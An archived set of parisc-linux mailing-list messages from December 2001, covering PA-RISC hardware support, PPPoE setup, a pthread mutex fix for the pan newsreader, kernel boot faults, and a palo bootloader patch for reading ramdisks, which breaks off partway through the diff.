> <http://www.parisc-linux.org/release-0.9/errata-093.html>
> 


Probably should ammend the release doc to suggest running fbset -i (as 
root) is useful to get the resolution information as well...





-- 
____               .:.                 ____
Bryan W. Headley - bheadley@interaccess.com




From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Graphics support on 755?
Date: Sat, 29 Dec 2001 18:21:32 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20011229182132.A23862@daedalus.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620898 32309 80.91.229.3 (22 Nov 2014 01:48:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:18 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 16:21:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4436482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 16:21:38 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by daedalus.cs.brandeis.edu (8.9.3/8.9.3) id SAA23865
	for parisc-linux@lists.parisc-linux.org; Sat, 29 Dec 2001 18:21:32 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13515

I've got a 9000/755, happily running HPUX on it's FW drive, and I
finally found a SN drive for linux.  My question is twofold, how can I
identify the graphics subsystem(seperate board) and where is a list of
supported graphics cards?
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sun, 30 Dec 2001 00:56:54 +0100 (CET)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112300049260.17057-100000@r6.petescaff.com>
References: <20011229205411.GA11344@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620899 32316 80.91.229.3 (22 Nov 2014 01:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:19 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 16:56:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8D79482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 16:56:56 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16KTLT-0003V5-00
	for parisc-linux@lists.parisc-linux.org; Sun, 30 Dec 2001 00:56:55 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16KTLS-0004t1-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 00:56:54 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <20011229205411.GA11344@sleepie.demon.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13516

Until I restarted ppp on my 712 it had been working perfectly for nearly
three months with no /sbin/hotplug.

Unfortunately I am a sad unstable addict (I have been since pre-buzz days
on i386) and have updated many times since ppp was last restarted.

This one I find weird because I know that it has worked but broke sometime
recently. The only reason I restarted the system was to finally upgrade to
the 2.4.16 kernel I have been happily running on a C160 and a collection
of C110s.

PeteM

On Sat, 29 Dec 2001, Richard Hirst wrote:

> IIRC, when I first got ppp working on hppa, it would only work if
> I created a dummy /sbin/hotplug, see
>
> <http://lists.parisc-linux.org/hypermail/parisc-linux/6527.html>
>
> Richard
>
[snip]




From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with threads..
Date: Sat, 29 Dec 2001 22:44:47 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20011230064447.GA2179@tausq.org>
References: <20011229012436.4586cb54.csuder@cisco.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620899 32578 80.91.229.3 (22 Nov 2014 01:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 23:45:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A4CF482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 23:45:24 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id clzakaaa for parisc-linux@lists.parisc-linux.org; Sat, 29 Dec 2001 23:39:22 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16KZiB-0000t4-00; Sat, 29 Dec 2001 22:44:47 -0800
Content-Disposition: inline
In-Reply-To: <20011229012436.4586cb54.csuder@cisco.com>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13517

> the pan newsreader does not want to work on parisc platforms (neither the ones from the debian archive nor a version compiled from scratch). Digging a little bit I found the application hangs at pthread_mutex_lock and similar calls. Tried with various kernel versions over the last couple of months, never worked. Known issue ?
> 

fwiw, what i've seen elsewhere is that on palinux, you have to make sure
the mutex is initialized before locking works. on other platforms
sometimes you can get away with doing a lock without a mutex init.

for another example see http://bugs.debian.org/124307

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with threads..
Date: Sat, 29 Dec 2001 23:58:30 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20011229235830.4bfec5f9.csuder@cisco.com>
References: <20011229012436.4586cb54.csuder@cisco.com>
	<20011230064447.GA2179@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620899 32581 80.91.229.3 (22 Nov 2014 01:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 00:59:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6682482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 00:59:10 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fBU7x8v16150;
	Sat, 29 Dec 2001 23:59:08 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABS23951;
	Sat, 29 Dec 2001 23:59:15 -0800 (PST)
In-Reply-To: <20011230064447.GA2179@tausq.org>
X-Mailer: Sylpheed version 0.6.6 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13518

On Sat, 29 Dec 2001 22:44:47 -0800
"Randolph Chung" <randolph@tausq.org> wrote:

> > the pan newsreader does not want to work on parisc platforms (neither
the ones from the debian archive nor a version compiled from scratch).
Digging a little bit I found the application hangs at pthread_mutex_lock
and similar calls. Tried with various kernel versions over the last couple
of months, never worked. Known issue ?> > 
> 
> fwiw, what i've seen elsewhere is that on palinux, you have to make sure
> the mutex is initialized before locking works. on other platforms
> sometimes you can get away with doing a lock without a mutex init.

Yes !!! There was one of 4 mutex not initialized, added that one and now
it works.

Many thanks,

	Christian 






From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with threads..
Date: Sun, 30 Dec 2001 00:49:51 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20011230084951.GB2179@tausq.org>
References: <20011229012436.4586cb54.csuder@cisco.com> <20011230064447.GA2179@tausq.org> <20011229235830.4bfec5f9.csuder@cisco.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620899 32584 80.91.229.3 (22 Nov 2014 01:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 01:50:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B6AC482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 01:50:27 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id jbabkaaa for parisc-linux@lists.parisc-linux.org; Sun, 30 Dec 2001 01:44:28 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16KbfD-00011j-00; Sun, 30 Dec 2001 00:49:51 -0800
Content-Disposition: inline
In-Reply-To: <20011229235830.4bfec5f9.csuder@cisco.com>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13519

> > fwiw, what i've seen elsewhere is that on palinux, you have to make sure
> > the mutex is initialized before locking works. on other platforms
> > sometimes you can get away with doing a lock without a mutex init.
> 
> Yes !!! There was one of 4 mutex not initialized, added that one and now
> it works.

Please follow the instructions at http://www.debian.org/Bugs/Reporting
and file a bug, and let the maintainer know what you changed to get pan
to work.

thanks!
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sun, 30 Dec 2001 13:06:14 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <16KefW-21OIi0C@fwd05.sul.t-online.com>
References: <Pine.LNX.4.43.0112291700110.20276-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620900 32590 80.91.229.3 (22 Nov 2014 01:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:20 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 05:02:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2CFA482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 05:02:36 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout02.sul.t-online.de with smtp 
	id 16Kefi-0004nM-04; Sun, 30 Dec 2001 13:02:34 +0100
Original-Received: from there (320008472305-0001@[217.85.39.206]) by fwd05.sul.t-online.com
	with smtp id 16KefW-21OIi0C; Sun, 30 Dec 2001 13:02:22 +0100
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <Pine.LNX.4.43.0112291700110.20276-100000@alpha.bocc.de>
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13520

Am Samstag, 29. Dezember 2001 17:08 schrieben Sie:
> Hi Hinrich,
>
> > rcvd [LCP ConfReq id=0x66 <mru 1492> <auth pap> <magic 0x3ddff70f>]
> > sent [LCP ConfRej id=0x66 <auth pap>]
>
> I guess you use T-Online (TDSL flatrate?). In this case make sure you
> place the userid in /etc/ppp/pap-secrets in single quotes or the # will be
> treated as a start of comment:
>
> 'AAAAAAAAAAAATTTTTTTTTTTT#0001@t-online.de'     *       PPPPPPP        *
>
> Of course you must replace the A, T and P with the data you got from
> t-online.
>
> Cheers,
> Jochen

I have tried the syntax you told me, but, I still reject to <auth pap>.
This is strange, couse I think that I reject to auth myself.
"sent [LCP ConfRej id=0x66 <auth pap>]"
 So this must be a config Problem. Do I have to put something else into my 
pap-secrets?
I don't think that auth fails, but somethings wrong with my pap-secrets.





From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel ?
Date: Sun, 30 Dec 2001 09:25:54 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <001c01c1913d$ee1b8ca0$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0019_01C19113.FAC364C0"
X-Trace: ger.gmane.org 1416620900 32593 80.91.229.3 (22 Nov 2014 01:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:20 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 07:25:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08BDA482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 07:25:28 -0700 (MST)
Original-Received: from pogo (dhcp-113.beldar.com [65.163.106.113])
	by beldar.com (8.9.3/8.9.3) with SMTP id JAA85870
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 09:45:39 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13521

This is a multi-part message in MIME format.

------=_NextPart_000_0019_01C19113.FAC364C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

In an attempt to solve my J2240 STI and Eth0/1 problems I am trying to =
upgrade the kernel from the 2.4.9-32 on the 0.9.3 ISO to something more =
recent.  Specifically, I've tried 32-2.4.16-pa24 and pa29.  I ftp'd the =
tar files from the 32-bit directory, untarred / unzipped the contents, =
copied them into /boot, changed the link for vmlinux, and modified =
/etc/palo.conf.  However, in both cases when I boot, everything =
initially looks like it will boot OK, but I eventually get a stack =
pointer error, a long hex dump, and finally "Kernel Fault: Code=3D15 =
regs=3D102af4c0 (Addr=3D00368004)" ....  This all appears on the STI =
head, even though I changed console to ttyS0, and scrolls by too fast to =
get much meaningful info prior to the hex dump. =20

Do I have to upgrade from source (which I'll try next) or am I doing =
something wrong or both?



------=_NextPart_000_0019_01C19113.FAC364C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>In an attempt to solve my J2240 STI =
and&nbsp;Eth0/1=20
problems I am trying to upgrade the kernel from the 2.4.9-32 on the =
0.9.3 ISO to=20
something more recent.&nbsp; Specifically, I've tried 32-2.4.16-pa24 and =

pa29.&nbsp; I ftp'd the tar files from the 32-bit directory, untarred / =
unzipped=20
the contents, copied them into /boot, changed the link for vmlinux, and =
modified=20
/etc/palo.conf.&nbsp; However, in both cases when I boot, everything =
initially=20
looks like it will boot OK, but I eventually get a stack pointer error, =
a long=20
hex dump, and finally "Kernel Fault: Code=3D15 regs=3D102af4c0 =
(Addr=3D00368004)"=20
....&nbsp; This all appears on the STI head, even though I changed =
console to=20
ttyS0, and scrolls by too fast to get much meaningful info prior to the =
hex=20
dump.&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Do I have to upgrade from source (which =
I'll try=20
next) or am I doing something wrong or both?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0019_01C19113.FAC364C0--




From - Thu Nov 08 21:21:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Palo and initial ramdisks
Date: Sun, 30 Dec 2001 09:45:53 -0600
Lines: 99
Approved: news@gmane.org
Message-ID: <200112301545.fBUFjrE01927@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-12732282180"
X-Trace: ger.gmane.org 1416620900 32597 80.91.229.3 (22 Nov 2014 01:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:20 +0000 (UTC)
Cc: J.E.J.Bottomely@HansenPartnership.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 30 08:46:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (host194.steeleye.com [216.33.1.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C76C482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 30 Dec 2001 08:45:59 -0700 (MST)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id fBUFjrE01927;
	Sun, 30 Dec 2001 09:45:56 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13522

This is a multipart MIME message.

--==_Exmh_-12732282180
Content-Type: text/plain; charset=us-ascii

Playing some more with modules and initial ramdisks, I noticed that palo only 
allows use of a ramdisk when the ramdisk is placed inside the palo partition 
rather than being able to read one from the boot ext2 filesystem.

The attached patch is a simple hack allowing palo to read a ramdisk from the 
boot ext2 filesystem.

James Bottomley


--==_Exmh_-12732282180
Content-Type: text/plain ; name="palo.diff"; charset=us-ascii
Content-Description: palo.diff
Content-Disposition: attachment; filename="palo.diff"

Index: ipl/bootloader.h
===================================================================
RCS file: /var/cvs/palo/ipl/bootloader.h,v
retrieving revision 1.9
diff -u -r1.9 bootloader.h
--- ipl/bootloader.h	2001/11/19 03:54:42	1.9
+++ ipl/bootloader.h	2001/12/30 15:32:01
@@ -57,6 +57,7 @@
 /* ext2.c */
 int ext2_mount(long cons_dev, long p_offset, long quiet);
 int ext2_open(const char *filename);
+int ext2_filesize(int fd);
 
 /* lib.c */
 void blockprint(int zero_offset, char *buf, int nbytes);
Index: ipl/ext2.c
===================================================================
RCS file: /var/cvs/palo/ipl/ext2.c,v
retrieving revision 1.9
diff -u -r1.9 ext2.c
--- ipl/ext2.c	2001/11/19 03:54:42	1.9
+++ ipl/ext2.c	2001/12/30 15:32:15
@@ -733,6 +733,13 @@
 }
 #endif
 
+int ext2_filesize(int fd)
+{
+	struct ext2_inode * ip = fd2inode[fd];
+
+	return ip->i_size;
+}
+
 #if 0
 static int ext2_fstat(int fd, struct stat* buf)
 {
Index: ipl/ipl.c
===================================================================
RCS file: /var/cvs/palo/ipl/ipl.c,v
retrieving revision 1.26
diff -u -r1.26 ipl.c
--- ipl/ipl.c	2001/11/19 03:54:42	1.26
